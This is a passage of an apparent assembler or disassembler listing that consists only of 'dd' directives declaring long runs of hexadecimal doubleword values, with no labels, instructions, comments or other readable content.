		dd 0BA03E917h, 6CC9B147h, 0E83F22D2h, 2CEC5D5Dh, 8AA5149h
		dd 0FF2FAC36h, 0DAF1D700h, 0C4179480h, 8CFBCE89h, 0FC3BEE97h
		dd 0F629BC64h, 0E6485398h, 0F5C6175Fh, 0AD3C008Fh, 0AC078CCEh
		dd 77884840h, 9C07FCEFh, 0D8BB6CF8h, 16443E4Fh,	904D29Dh
		dd 403ECCDh, 1F4B4ECCh,	0CBD97C2h, 9609C6B8h, 0FDB96EB5h
		dd 45FD5029h, 4490E22Ch, 88A5B600h, 808CA0F4h, 9EC0BEF6h
		dd 25624934h, 90056455h, 28B41401h, 0F204AB3Dh,	0C3394998h
		dd 15C8EB44h, 52BD36A8h, 5A088164h, 46481E82h, 32F46270h
		dd 0CC008A0h, 3A04612Ch, 0D366E303h, 59DFFA69h,	0BB5E70DCh
		dd 60EAFCA9h, 475A789Fh, 8C049EADh, 0EA57B559h,	0AC5AF4E2h
		dd 0B208D6BDh, 77143928h, 0B725B240h, 0BB79673Ah, 72E9A230h
		dd 0EBD19791h, 0A4B8023Ch, 0DF01516Fh, 85491571h, 2B903574h
		dd 95779A68h, 98CD9018h, 3ADC8880h, 0E33DD4F6h,	95CEF896h
		dd 0B13904F8h, 96BA0037h, 2D628D70h, 325ED609h,	81469F58h
		dd 368A6B52h, 8832BA4Ah, 647F0BF3h, 59B058D0h, 167C5125h
		dd 28D3873Ch, 0D94B2CF0h, 13A03DCFh, 20EE051Dh,	4A684282h
		dd 0BC0C7958h, 42C5293h, 126FF613h, 0D75B6709h,	0F9FEC066h
		dd 5204B39Eh, 0FDEBFA88h, 0A1C05E6Ch, 95DDBABCh, 0D2889EE0h
		dd 0F1BE77D2h, 39D630D3h, 0B008BC40h, 0B753030Bh, 24E78095h
		dd 30D1C798h, 45F3FD48h, 0C4C1F4BEh, 2D5B663Eh,	102B76C8h
		dd 0AEE90945h, 0B7526E8Fh, 53CB5FDBh, 0A9E91281h, 0D6BC6B27h
		dd 0EB18B5BCh, 6AAAC830h, 1723E0Dh, 32082868h, 84E4C826h
		dd 0BE04E290h, 1B25096Eh, 33C200BEh, 78E938B2h,	0CDB32C4Ah
		dd 3964D616h, 23B07EF6h, 713A0268h, 0F2E96F6Ch,	725CA76h
		dd 1CA409DDh, 4B68A6F4h, 2522F6C7h, 0BD94504Eh,	5C59CD79h
		dd 1008E62Fh, 0E90C2B6Ch, 5874CC4Bh, 0CB375377h, 10C35499h
		dd 0A4185FB6h, 11C008E2h, 3F88F681h, 317807E4h,	0FF525EF7h
		dd 0EB1FBBCCh, 302E8600h, 50C3291Ah, 5EDE00B8h,	0D22D4518h
		dd 2502A770h, 40C08A35h, 61CB7705h, 0D0ACEA9Ch,	9097523Ah
		dd 0EF3DFB61h, 4AE8D365h, 0E919177Fh, 5666C348h, 7CE23FB1h
		dd 36C3A0AEh, 77BD3605h, 883A26Eh, 0A5CB3410h, 48C15650h
		dd 58A03107h, 8547668h,	0C841DC97h, 651D2E88h, 0CA2D682Dh
		dd 0EB3FC49Bh, 0D5085301h, 55562D1Fh, 0CC028D65h, 7F090868h
		dd 0ED50DDB1h, 3789DE0Fh, 312DFD50h, 0BAE563FDh, 4D709E4h
		dd 3ED35210h, 8417E954h
		dd 4076F666h, 0F70F80F5h, 44272C0Eh, 45893243h,	9EED5ADCh
		dd 0BE27BF51h, 0E59226DEh, 5F662BEEh, 0EE4FD5A8h, 9FD2BD38h
		dd 0B4EC7668h, 4D306681h, 759A677Dh, 2A27E2C1h,	0DAD65707h
		dd 0FF5A4EEDh, 4BDE12D8h, 2F808C23h, 34BC75BAh,	3616479h
		dd 0CEAE8A60h, 14C5557Dh, 920FFCDh, 0B805E7C0h,	0A117D069h
		dd 256A4810h, 0E694F529h, 56E7A9Dh, 9687E87h, 2060884Ah
		dd 8C2AA12h, 0AB88404h,	7B98E6BBh, 0FEF4232Fh, 1714AE9h
		dd 7D116B42h, 3552305Ah, 7AB71F05h, 0E280EDD1h,	95044EAEh
		dd 5B2BE060h, 5073940Bh, 7DB162E9h, 0C665B063h,	43F9E872h
		dd 276B977Eh, 544BE4DAh, 0F98C12DDh, 0C5C1402Fh, 6B40DB4Eh
		dd 0A0B908EEh, 28CF4C89h, 8834DA30h, 585E5AF3h,	0D9D2C65Eh
		dd 0F221614Bh, 54522DDAh, 92115FDh, 0BC76490Ah,	2DCED6CBh
		dd 0F8CBCFD9h, 64687BE2h, 53D02D6Ch, 0EE98D01Ch, 989AC5D5h
		dd 4E590DDh, 0F84D0ACDh, 8480AE15h, 9158F3E9h, 83B7986Ch
		dd 3D0CBF57h, 0C7BCA34h, 605D12BAh, 0EB645607h,	790B6B50h
		dd 0A1071C98h, 0E98853E8h, 99BB8E34h, 452D7E13h, 3B7E5883h
		dd 0F7E820B5h, 0EC040DAFh, 0B9A8E97Ch, 4E634BBAh, 7E0229D1h
		dd 5D31E43Ch, 0E98B4DDCh, 0A060708Eh, 9C23B39h,	36C1840Fh
		dd 7011CE7Dh, 0F51C9D8Eh, 80943EFCh, 7DC60D01h,	20E80A09h
		dd 0D2CE95BDh, 0C12D190h, 82046F78h, 0EE1297FBh, 0EB808707h
		dd 0EC0306ACh, 6E7F70C3h, 62B010E3h, 0E266E917h, 0D0E2402Eh
		dd 346BF69h, 425B1C7Fh,	0D1398513h, 0D336336Ah,	101AC648h
		dd 3157B2D2h, 23B9680Dh, 3087DDFh, 0D040E0B8h, 5EEDD21Fh
		dd 0DFB907F9h, 39026729h, 0D2B06C04h, 5E572D7Bh, 23032DEDh
		dd 445BEF07h, 0B106EB95h, 0A015CBCDh, 135B57B0h, 0E5215D5Fh
		dd 0BC24C4A2h, 2835458h, 2A3361BAh, 0E764F789h,	0CA3A54A1h
		dd 80FB1AD5h, 4F405105h, 1BDEB543h, 7619E9C1h, 0E07A283Dh
		dd 881B65FBh, 459A5ABEh, 1319A304h, 0A309C816h,	20A085F3h
		dd 579F98BBh, 43685603h, 39521F7Ah, 0D26C1E8Eh,	0A26CE60Ch
		dd 17B77F45h, 12F93031h, 18F0AEB8h, 9DF79DD7h, 0B09B12C3h
		dd 2ECC01Ah, 5E888594h,	0BB051373h, 0D7545A5Ah,	68EB69FBh
		dd 2560530h, 295BD73Ah,	7852DD0h, 2444FE5Ah, 0B914B014h
		dd 0A778151Dh, 0F203C2F4h, 4029D3Ch, 6019E60Ch,	15A4FF01h
		dd 94E84F03h, 6ED7EF1Fh, 25BFFDD4h, 8E65FABDh, 3C5E1DE9h
		dd 0CE16E9FAh, 4624FEE2h, 2F12F5EBh, 0A05AC0B2h, 327A9794h
		dd 0C2AB834Bh, 2A74783Eh, 6DEABD01h, 997848AFh,	1993145Eh
		dd 4BD49109h, 0C98EF982h, 0DF93DD5Eh, 88BEF395h, 5B7DDA99h
		dd 0FEBCB213h, 0D70481F2h, 0AB3AA463h, 97C740D7h, 4F8310FAh
		dd 0E9742876h, 6D39C2F4h, 271A6619h, 27E07FE5h,	0D3611FE1h
		dd 33DB895Dh, 6D54E6A2h, 43DF22h, 4A29B4BAh, 34C7314Ah
		dd 822DC862h, 915D590Ah, 8F2896DDh, 13F28A5Bh, 2DFF0C8Bh
		dd 0C342EE9h, 1B9BA7C1h, 9E25F805h, 146B608Ch, 2B0250BFh
		dd 499EF8F9h, 0A21D456Dh, 2D55C956h, 2E8E527Fh,	0C29AA4A8h
		dd 25EE48Eh, 9317ED60h,	5F89CA0Ah, 19D53890h, 0B8421D25h
		dd 0A5CD516Ah, 0D9BDC572h, 0C1CB6E0Ah, 19916D7h, 11CB6853h
		dd 2B5B6EFAh, 0A0F514A9h, 140EA2AFh, 73F758DDh,	2218E503h
		dd 4A2D886Ch, 3911051Ch, 0BEDE2AE9h, 663767E2h,	0C097DFB9h
		dd 3C280C9h, 27D1283Dh,	4C8D73Fh, 170BEEC1h, 7EEF0114h
		dd 0D967E214h, 0B6892E0Fh, 13AA9108h, 9E5EBE2Dh, 61AC568Ch
		dd 0F0E24FC7h, 314F5992h, 680500D0h, 0D53EF36Ch, 0A29BC73Eh
		dd 53D930A5h, 2546F648h, 335D9F8Eh, 3F5C1939h, 2A5894B3h
		dd 0E3AFE784h, 0F8D38AFEh, 18AF9E89h, 90ECB29Ah, 61F54102h
		dd 0A130F82Dh, 5FB9375Ah, 56060B7Bh, 53708908h,	8CFEFE4Ah
		dd 0C34A4FF3h, 0D7DF39B3h, 0E3FFC5CAh, 31D8976Ah, 0C05A5FD7h
		dd 983CC452h, 0B4F8704Bh, 67C33F05h, 0FA34FB8Fh, 0A32DB1F6h
		dd 0C631FC60h, 68E889DAh, 68571Eh, 74301DD2h, 34B8BA5Fh
		dd 0DEDE6425h, 0E52D90h, 0BE2E1283h, 289E0209h,	4254E873h
		dd 8396AAC1h, 0AC68E2CDh, 91E51039h, 0E55E2505h, 592D8A27h
		dd 4A29CFDDh, 0E68F885Eh, 0DDE50206h, 4DDE77FEh, 0BF8F1C58h
		dd 7CA4C3F1h, 18C327BAh, 80942EB7h, 1991E828h, 56C2CC09h
		dd 1DE7C276h, 0DB441B90h, 0CEC8B29Ah, 1621887Dh, 0A9FF591Eh
		dd 50928D0Fh, 5FF792FFh, 0E90A344Dh, 6885FAF7h,	768D5989h
		dd 5263430h, 0C1099C45h, 9701AAEFh, 0ABEEE903h,	0AE2EAD49h
		dd 9C81C173h, 42F08BEBh, 0FF4A7792h, 0EC4EEBA3h, 0E47B1683h
		dd 5FF01B41h, 0E23E49C9h, 209D06F4h, 5C0C17DDh,	1C04534Eh
		dd 0EE5BDF31h, 61D5D00Bh, 0AE2F5E76h, 30501471h, 847BC535h
		dd 0ACB289CCh, 0FD105910h, 3629F53h, 90C4954Dh,	782E92Dh
		dd 0E2055CD4h, 25129FACh, 0E7D9EAADh, 0A53899EDh, 0D653561Dh
		dd 3E77F1AAh, 68FB3B13h, 81E569F1h, 4728E54Dh, 75606D94h
		dd 252796E1h, 8E4E9F5h,	0D324B5ECh, 911CFC8Fh, 97E984C3h
		dd 0C121CFCh, 47600810h, 2338303Eh, 0DBBCDh, 4553556Ch
		dd 2E323352h, 0C0F56479h, 56734441h, 0D495029h,	0CE544E8Fh
		dd 420A354Ch, 0B1E9A101h, 68044F3Ch, 81139BF4h,	47E331A4h
		dd 9C81A3BFh, 8271521h,	1D909D9Eh, 7D71C68Fh, 9F3E2284h
		dd 1D110942h, 0E24477A0h, 0F544848Ah, 929D0E4Bh, 0F2E06ABCh
		dd 0D4DB0A9Ch, 3D247E00h, 1ECA5C32h, 0E83B0011h, 59569243h
		dd 0B500B1F3h, 9152D4BAh, 7B6EB89Eh, 1B9D00FCh,	0F1C270E7h
		dd 4100C982h, 4C90D0D4h, 119C45Eh, 0B2ADF716h, 706B0FBDh
		dd 920052C8h, 4D6AFF9Dh, 0A5FEB1h, 4CC3BF2Dh, 0D5A6BC6Bh
		dd 9DF72300h, 0F624ABA4h, 0C98400BBh, 3DC0CF78h, 0C1D0403h
		dd 10C0DDD2h, 5C5390E2h, 4DFB00D4h, 0D8B27D1Ch,	3500A35Eh
		dd 0E3EC5BEBh, 120575h,	0F5DBCEB1h, 656ADEB6h, 0E816F700h
		dd 0A0647BEEh, 177A00E4h, 33CAC57Dh, 0C800650Dh, 0AEC4B4E0h
		dd 3F9125BAh, 0DF80DA3Dh, 94F0B836h, 0CDECF583h, 472FB14h
		dd 0CAE200CAh, 0A6D460EFh, 42BE1CEAh, 983F4630h, 0F9001D6Ah
		dd 2B0BFAFh, 130A346Eh,	73F5505h, 17A7FD5Ch, 7DEB80A8h
		dd 13003E5Fh, 0DEF41D3Dh, 0D4345Ah, 0E8808FBEh,	6A8788BAh
		dd 82AC8D3Ah, 1AC01D56h, 3ED6CDh, 0D8BEB1B7h, 967D994Eh
		dd 0E8E7660Bh, 0E276A2h, 252A1E88h, 0F54346Fh, 0F5002F84h
		dd 96104649h, 0F45A55h,	0D9BFB0B2h, 0FE2C235Fh,	1005ECA8h
		dd 81431C03h, 0E034D28Eh, 68EFD1h, 0CF964ABAh, 621D3B49h
		dd 352D8C03h, 0D87DE33Ah, 5DF2ABh, 0E46B2773h, 0D5A938BBh
		dd 44344000h, 17D63D2Eh, 6497A018h, 0CECAA0F8h,	8D10001Fh
		dd 2B4D2553h, 41004EF9h, 84B2A511h, 7C98318h, 0B5D06682h
		dd 7B27CFA3h, 0A8F4F0CDh, 603CB1BEh, 8F508191h,	40323805h
		dd 43808D54h, 1E3450Bh,	83256B64h, 24074D42h, 4300E534h
		dd 61C28887h, 1CD50DBCh, 403274DAh, 12CD573Dh, 0ED00371Dh
		dd 9C167C73h, 503BEB6Ch, 22C88DF0h, 7F3E295Bh, 8DE6025h
		dd 0A08CD707h, 0B8D06C8Eh, 63B51C37h, 70F200E0h, 0FEB2AE7Fh
		dd 0EB487C01h, 78060FCDh, 0E065D611h, 333030DBh, 0B7C1563Ch
		dd 61BC2CB3h, 0C0691C13h, 0C6272814h, 0A600EC1Ah, 1718C85Ah
		dd 301E4AF6h, 5E7BC979h, 3C034E22h, 5AFD2965h, 821948ACh
		dd 0F588618h, 7200A0EEh
		dd 66BE755Bh, 3EA7CB79h, 953F4E80h, 0A9A600FEh,	3E6AB6E3h
		dd 0B000CD42h, 0B9D5A760h, 0C55F0Bh, 0E53F151Ah, 0A2A8757Ah
		dd 7A07865Ah, 3C20D8C6h, 16240A5h, 0B6242B1Fh, 0E8FD06A8h
		dd 0F9149D42h, 839E5BB1h, 90A2F6D2h, 0D897B661h, 0FB47A862h
		dd 5A888F00h, 0E9C98581h, 11D7485Bh, 80F65C1Dh,	0D79297Dh
		dd 7B0074F7h, 55FABEA2h, 7991C35h, 0D11361CFh, 191153DEh
		dd 3C5602F0h, 460C0300h, 916C63DCh, 97904Bh, 41A9827Bh
		dd 75E13A89h, 0DDC72360h, 226867h, 64C4380h, 0E8AEA19Ch
		dd 848BBE04h, 33C054CEh, 71D17AADh, 692F2420h, 0D84A80EBh
		dd 0F82A606Fh, 0B046390h, 30DE7189h, 5E371D90h,	0E9008E2Eh
		dd 6067619Dh, 0D28BB7h,	0BFF1B9BBh, 62789FA4h, 0C2122892h
		dd 1B05C1F9h, 0DC930EB7h, 6A4A0045h, 3729F4FBh,	9D15C9B9h
		dd 0F34CFAh, 4DE13DDBh,	1AD59Ah, 92CAC846h, 2DE0D9EFh
		dd 860357FEh, 0D7D80A98h, 0B9CCA436h, 0E6C2016Fh, 3251C6B2h
		dd 60CD4696h, 33DD348h,	7A3D520Eh, 3C66018Fh, 5C8E65E6h
		dd 180D3053h, 0F8D88550h, 7EB14C3Ch, 22288A6Ah,	0C5F9E703h
		dd 8DC812E9h, 5D30C05Ch, 0B80083B3h, 0ECC7EFE8h, 79A6A99Ah
		dd 12BB0D2h, 5491218Fh,	417A425Bh, 20679551h, 9362C32Fh
		dd 40ACD89Eh, 72A39178h, 0CD4035Fh, 0FB1887BCh,	0A896F0B0h
		dd 46A7D506h, 3B46C9Ah,	0A19F6E61h, 39D0BDC9h, 0F501DC42h
		dd 0C60B922Eh, 71EC4AFAh, 24F924F6h, 0F51014CAh, 570A116h
		dd 850AA602h, 7B852078h, 0FE26A574h, 6A0ED255h,	3FBE491h
		dd 505F8500h, 0BB09A8FAh, 9144DEB4h, 0E620E3D6h, 0CBC4047Ch
		dd 91F92285h, 22E741EBh, 48470942h, 51CA1002h, 8361259h
		dd 1F2807EFh, 6CB41206h, 50A58141h, 9816A2FCh, 267CA800h
		dd 6BD52827h, 8F203B07h, 0D480AABBh, 728B84BCh,	33B0B4CEh
		dd 55C37D0Eh, 40E3D4E5h, 820283D3h, 0C44457A8h,	0B6C44ACh
		dd 6E85479Dh, 0B6431200h, 0BD980DE1h, 0BEAC710Ch, 0B7DF183h
		dd 2082C8C7h, 3C662800h, 48000E01h, 2E646BDEh, 50434CF4h
		dd 140B00Dh, 5FC98F80h,	24AAE0EFh, 18008A42h, 296B212Eh
		dd 6190BED1h, 0FE97F0EDh, 0A0228Eh, 0ADC08503h,	50592Bh
		dd 0CA74AEC2h, 9CD238C5h, 20B08B39h, 0D719084Ch, 0A204AFECh
		dd 4400FD6Eh, 0E930825Ah, 0F554C604h, 4DCB4FBDh, 2BE1210h
		dd 9BE959D7h, 0C81A43AEh, 2479055h, 38683C84h, 4548B417h
		dd 2E001BA9h, 9CFA112Bh, 55B4571h, 19E61D85h, 7B12C826h
		dd 1CF2DE2Eh, 14826500h, 73427A1h, 3A757F8h, 88C9757Fh
		dd 3813B48Ch, 7B004770h, 7D353A2Bh, 59A70FACh, 0AE015D0Dh
		dd 342D903Eh, 913EE3CFh, 8FD51F52h, 0AAFC81FAh,	7B9053B8h
		dd 4BE4AE47h, 7F8A9F80h, 2745398Bh, 0A427B5D8h,	0E85ED580h
		dd 770BB1E7h, 8099FFF0h, 297BD11Ch, 61371338h, 0DDA64FC7h
		dd 56598903h, 4F48A682h, 0C3F48641h, 943615Dh, 8771810h
		dd 5C1DDFEAh, 5707C552h, 0BEB44838h, 0E0834892h, 7CEFD9h
		dd 0A7990773h, 4C2104EAh, 885A8A0Eh, 0AE8C091h,	3072949Ch
		dd 1C403730h, 835CCB7Bh, 2C580010h, 9D4F9544h, 0FE071292h
		dd 164C0131h, 80370135h, 141BC9DBh, 147FE43Eh, 90881A70h
		dd 0DAD20096h, 0C1979848h, 0CBD6601h, 3375DBD4h, 56C960h
		dd 361C13CCh, 177D72ECh, 0EA6D9D1Fh, 5ACBDB70h,	2EE2B02Ah
		dd 534DFh, 31CC7AE6h, 0B1000E9Fh, 4885A3ADh, 78FB56DAh
		dd 4DBB81Dh, 0EE1C336Fh, 75528057h, 0DB7B49C7h,	2629151Dh
		dd 0F51119C0h, 0B8F25B62h, 0E01C1EA3h, 0EFBC39B0h, 97278800h
		dd 89F3CC53h, 0AAA84801h, 0D818E513h, 2859FED4h, 488F70B3h
		dd 9E0C23E7h, 0DE1349F9h, 7C34A217h, 0FCD8BA00h, 1B24B44h
		dd 3E31364Ch, 0BFB1CB7Ah, 58B900A2h, 133B5C0Ch,	103CC171h
		dd 20C319E4h, 0ECF3FFEAh, 0C5066EF1h, 0CDF9669Eh, 77E9005Ah
		dd 0F86A0203h, 0F4302235h, 5C723C1Dh, 0A09F01D5h, 708C8B1Fh
		dd 741ACDC2h, 53282D6Dh, 0F100F050h, 90127877h,	0EC445956h
		dd 212325C8h, 0B7E35382h, 0A48C60E1h, 0D5034554h, 0F8297FC8h
		dd 60616ED8h, 0A46EC2Bh, 673A8F8Ch, 81C68C5Ch, 14695EE9h
		dd 0B61D267Ah, 0B45F8400h, 0F878858Ah, 8DB34A00h, 12D1231Fh
		dd 0D90B001Dh, 0CC3CA2D6h, 0BA01B5B6h, 0BBB4ACF6h, 0D3571A62h
		dd 3B6F854Bh, 808000C9h, 8CCFBD9Ch, 36F481F6h, 79EB2D02h
		dd 0A4862076h, 0A2C06AB6h, 0FE7BD2Ch, 0A7A89A5Ch, 32259100h
		dd 36138D04h, 4A000311h, 0D90EE567h, 1C2E0146h,	0B669C50Dh
		dd 0CD3A6038h, 0B5133000h, 0F19EB1E1h, 17470328h, 748EFA76h
		dd 2E2126F8h, 0F361DF00h, 1C42362Ah, 652200ACh,	0C3A676B5h
		dd 0A0548DE5h, 9200E0F2h, 1DCC956h, 0D6FC4Fh, 46BC41FFh
		dd 258521D1h, 8A261700h, 8433141Ch, 1D39121Fh, 0EDDB0081h
		dd 0DD35EF70h, 4B5E3614h, 0D91B2CA3h, 91C7C800h, 1E62E331h
		dd 70A0906Dh, 0BC8346F1h, 7B527700h, 0B858EBA1h, 1BCB3A4Ch
		dd 28FB1A80h, 27C6C978h, 0E78B3900h, 0F96883BDh, 208F8F6h
		dd 0B07E6B8Eh, 99E02352h, 9B8158Fh, 4FA5D900h, 460A939Ch
		dd 8D6200AEh, 7CEAE281h, 0D5B0EE34h, 0D4B4A900h, 66AB9553h
		dd 0D8D7000Ch, 46F41BC5h, 0FB0219C9h, 0EAD351DCh, 0B49E6128h
		dd 486F60E0h, 86006F9Eh, 9B9456D0h, 42EE1C02h, 11254D16h
		dd 3B1E7F5Ch, 85430680h, 0B29738Ah, 97ED303Fh, 52686292h
		dd 6B0164DCh, 919E4A92h, 0BE20300Ch, 8E9554EFh,	37FDCB7Eh
		dd 25EBC7F7h, 0F76BF159h, 78AD01CFh, 771F229Fh,	170BADB6h
		dd 64F67E2Ch, 6A5DF108h, 0DA3F76B1h, 0F65F25F9h, 60ED0283h
		dd 5A551AE0h, 478F0763h, 3A778108h, 93512F0Fh, 0EF6DDD6Bh
		dd 0E90B423Bh, 0DC00DA90h, 0EA8B5DEFh, 0B818B106h, 3FA8A2E6h
		dd 0E000C503h, 2555D4F5h, 920930C8h, 89FD6C01h,	408C00A8h
		dd 0F965E04h, 0FA69127Dh, 80D05E9Fh, 6CC53002h,	2E07371Fh
		dd 0E809A946h, 4A892Ch,	6FC7A872h, 6DBD9A76h, 0DD805F07h
		dd 0EBB38194h, 0BB26006Eh, 41282F6Fh, 0F2FF633h, 0B77CA38Ah
		dd 3EF83D29h, 17058C98h, 0C9278166h, 6068F0F2h,	1DAB1708h
		dd 0FB020EF6h, 812B6D59h, 91C0DDC0h, 0F23C801Ah, 0D9E880E5h
		dd 0F61A724h, 0CA7FBFh,	0B38EAAF0h, 0A5B96649h,	8050283Ah
		dd 8F985EBAh, 67E93704h, 0C06B630Eh, 210767A3h,	7C7FAB77h
		dd 1B0C88F4h, 2712E838h, 0F84E0F3Ch, 7F20BC30h,	0C9AF7855h
		dd 39761C1Fh, 41119340h, 4B02E280h, 2B7F85Bh, 0FE81D18Ah
		dd 3C1FD8B4h, 0A6E850Fh, 0B0F8B1E0h, 90006FA6h,	3AED9217h
		dd 785F2D28h, 0F4253D96h, 70320D7Ch, 61083FE7h,	0BDF0E067h
		dd 0F325070Ch, 0E86A2187h, 0C0C3EC6Ch, 61011011h, 0F501379h
		dd 0B20D421Ch, 1031FBE7h, 18449130h, 10299C8Dh,	401C8817h
		dd 2E2B056h, 12C349B2h,	320077AFh, 21595096h, 49376E0Bh
		dd 0E3F11B8h, 948F89B2h, 0DB118350h, 20A3F229h,	77829C0Bh
		dd 0C2199F1Ch, 0AB6720C1h, 0E082B443h, 25442309h, 0F1388480h
		dd 0E8321331h, 8054102Bh, 57E764A9h, 0FB9300EFh, 30736932h
		dd 860CC315h, 6072430Eh, 0F04541CBh, 96F00720h,	0A107963h
		dd 5AC11C78h, 62E50027h, 6F79CEDh, 0DE00587Dh, 2C288B22h
		dd 0ED1BCFEFh, 0A60CD8BEh, 9818A9FAh, 90341DFh,	62BA8Ch
		dd 0CCEF7958h, 0A55F1BEEh, 683D8E02h, 0A02B938Dh, 4AC34B8Ch
		dd 724200EDh, 0DCFCD50Fh
		dd 8C0060D0h, 1F98CDF5h, 0ACADDF0h, 19147955h, 300BEDCh
		dd 7AE04F24h, 950FE9EFh, 0B8BFD258h, 31940760h,	0B1805732h
		dd 48B0DD14h, 0BC04D3C4h, 0A31D9E7Dh, 0A1829A80h, 0B9460061h
		dd 0CEB2C2D4h, 0BE0F0F20h, 23FCE0A9h, 0E82EF324h, 760914h
		dd 0FF62138Eh, 43A77A08h, 9A004D7Bh, 0F17B94CAh, 1F7505B0h
		dd 0F5A3884h, 29185F99h, 8CF87402h, 0C10F6C98h,	80BD4B0Dh
		dd 0D9E2448Ah, 41A30320h, 5491894Ch, 19E7CCD0h,	0AAFEB900h
		dd 405E8DFh, 0DC2008Fh,	5F594FBCh, 0C0004891h, 3F5147D0h
		dd 25C712h, 0DAAAFB2Bh,	5F5C4309h, 3DA1181Bh, 38EDB020h
		dd 203C5385h, 602638C4h, 183A5566h, 3054C38Ch, 0B00F83Fh
		dd 0EAE14707h, 749960A0h, 553430EBh, 0BF00420h,	6429170Fh
		dd 54DF018Ch, 15E8ABE6h, 5F0A0316h, 4BE73F5Eh, 6B1713C0h
		dd 0A1E05A61h, 50D1BCC0h, 0CFB8CFCh, 9D6789DDh,	31005F40h
		dd 2B431A77h, 314BB97Ah, 48082214h, 5E2080E0h, 0C131A8Fh
		dd 29D90051h, 0CA381281h, 10184745h, 57589761h,	0C9C4638Ch
		dd 0E8E8E6DBh, 64E48B90h, 44F4920Fh, 59C3035Ch,	16610115h
		dd 424DC1EEh, 0DF98504Ch, 0A10725DEh, 40C9C462h, 9375EC31h
		dd 0AB80A9BAh, 85201348h, 1100A4B0h, 9C7EDCE0h,	582296Ch
		dd 0BD0FDFBEh, 76B80642h, 0A10039AAh, 0B835368h, 2408C872h
		dd 390416CAh, 0FA2BB500h, 0BE55E243h, 0B0454118h, 0A8885C89h
		dd 0ACB3B0h, 0F903AD98h, 1490F6EDh, 82E6E875h, 8FF39203h
		dd 0E184F7D2h, 0D4513BC2h, 2040647Fh, 241789A5h, 29A855Eh
		dd 0E18C827Ah, 6B1994A0h, 59008BEEh, 0E22B2DF2h, 90D81DB8h
		dd 0AF140A0Ch, 2E0A935h, 894E6F5Fh, 69C6B093h, 0F1E0A883h
		dd 0E800F58Dh, 13FC1115h, 592460h, 4F1CE220h, 12DE164Eh
		dd 8174FE06h, 292115E4h, 0D05A3Eh, 0F23FED76h, 5E14E375h
		dd 80C8E850h, 79DD42B4h, 0DBF140C4h, 87AFCCA9h,	0DD3A7F21h
		dd 9DF42110h, 75181430h, 0F501C032h, 88C7DE94h,	9D118533h
		dd 8C20DACAh, 0F895925h, 620CD519h, 8E103AA0h, 0F4003F8Bh
		dd 648FFC7Eh, 91A89Ah, 36F35B4Fh, 0CBB93213h, 89750D00h
		dd 0C3D6BA90h, 37DF2878h, 0BB1801E8h, 0E18D292Ch, 0B4F8D8D4h
		dd 0F43D8400h, 1F27397h, 2DECC9h, 3FAC50F3h, 9E468E04h
		dd 12760B3Ah, 18409416h, 0CEED73F4h, 0B8CC548Bh, 47E4BCh
		dd 7863037Eh, 505C2FB9h, 30B3773Ch, 9994D192h, 71607E9h
		dd 0F690D8h, 6FA3CE0h, 5611FD03h, 82631BBEh, 944860B4h
		dd 10201890h, 0DC81605Bh, 1A4BBE00h, 87189BEDh,	0CFFCA03Dh
		dd 0A47F484h, 535EE2D0h, 0DD45C0CCh, 3946C476h,	9A0EAC22h
		dd 0A3F8DD3Dh, 0E85AB10Dh, 0A24ED710h, 0C3004094h, 3FC73008h
		dd 0F290910h, 8C1BEF00h, 766D13DFh, 3E3DF8DCh, 0A808379h
		dd 518B47A1h, 4B39E2C8h, 108CD48Ch, 3AB9C305h, 0F81484D9h
		dd 3E8F227Ch, 1600354Bh, 0C3F382E6h, 0FA036C2Dh, 0E94641B8h
		dd 6EA90044h, 48DE160h,	0B7078880h, 0F66F4EB8h,	29BB9B60h
		dd 82C90FCh, 2D04C846h,	0D4A0670Ah, 8B1F69B0h, 7188924Fh
		dd 39193C77h, 58231300h, 5CC801B6h, 65B91603h, 4BE804h
		dd 0FE4DD139h, 0F53534C0h, 9C5DC300h, 0E336C99Eh, 18F301C5h
		dd 0FC7A5A2Eh, 3858333Fh, 0A31389DEh, 9ACCA045h, 20DB512h
		dd 0C711ED6Ah, 0F0601FBDh, 852617E0h, 7C018C8Fh, 3E074D0Ah
		dd 7E6B088Ah, 0B73B60A0h, 1B0213F4h, 8B1715E5h,	79FC84B6h
		dd 337B1881h, 8F69D980h, 2263F62Ch, 5C7D2400h, 657A2006h
		dd 2DBB00CDh, 54E3EF3Eh, 314DBFCBh, 0E6E90098h,	8B45731Eh
		dd 0D71C0C9h, 3043ED74h, 0E3773600h, 0B0494F23h, 18C40051h
		dd 894BDBFFh, 8509B201h, 8423A016h, 41604F08h, 0C4247ADDh
		dd 7E703CD9h, 50DD0739h, 0BAA0A30Dh, 9ACD0098h,	30C7B3CFh
		dd 2EF150C0h, 0A3453910h, 8B0CB0E8h, 0D9880C2Ah, 43493DE8h
		dd 0F4B11800h, 0CA90BD8Fh, 1C99D8h, 0C14E3326h,	5E07F13Ah
		dd 0CADEB59h, 0CA8CAAC1h, 0BD22E980h, 907C2536h, 240A8F00h
		dd 64ADE6C6h, 6289010h,	2380C3D8h, 88A0F0CAh, 152A8FEEh
		dd 0E730B851h, 2AF88943h, 5AEA0050h, 0B2887B8Fh, 0E8305B41h
		dd 6FD0213Ch, 0EA5C76DEh, 0A27F0F54h, 0F2B77Ah,	5A6407ACh
		dd 0FB281096h, 0E736EC9Ch, 7A93958h, 4BCC29Fh, 885D4482h
		dd 961EFF34h, 0DE047218h, 4CD0FE63h, 11CFECh, 68B1830Eh
		dd 0DD4412CAh, 8E020AEAh, 798B0D47h, 919CC48Fh,	786A804Ch
		dd 308443Eh, 0D4D6120Fh, 43F7806Dh, 0CED31A0h, 0AB01AF13h
		dd 38004CA0h, 3F33BF32h, 0E0970ACFh, 4D0B0766h,	29375130h
		dd 0FB84682Fh, 42A882C7h, 0DBC96120h, 6A13074Eh, 0F10FA598h
		dd 8C4C6041h, 91965C21h, 0D3160599h, 8042E7F8h,	6A6812A7h
		dd 0D3FF417h, 6945280Ch, 4B843C60h, 9DE8A12Ch, 98343F9Fh
		dd 5A888251h, 11DD4030h, 88E1C47Fh, 387D87AEh, 80EFF7DDh
		dd 0B3B04B15h, 30B0C498h, 0DBAC44h, 2DF78F11h, 8B39C391h
		dd 0E4B1F498h, 0B330808h, 0D005DC14h, 0F3DCD83Dh, 47060B04h
		dd 5132EB89h, 0C8B1D20h, 5A7203DAh, 45E95CD4h, 493F9900h
		dd 0AEE45993h, 0D9A73FEAh, 0D1303C81h, 76A26394h, 4B2C09DCh
		dd 0E2E0006Ch, 4D2F20C3h, 7EE034h, 8DE5F072h, 2B4625DFh
		dd 0E0CDF724h, 16EFBA3Dh, 710189C4h, 83195612h,	0C047C24h
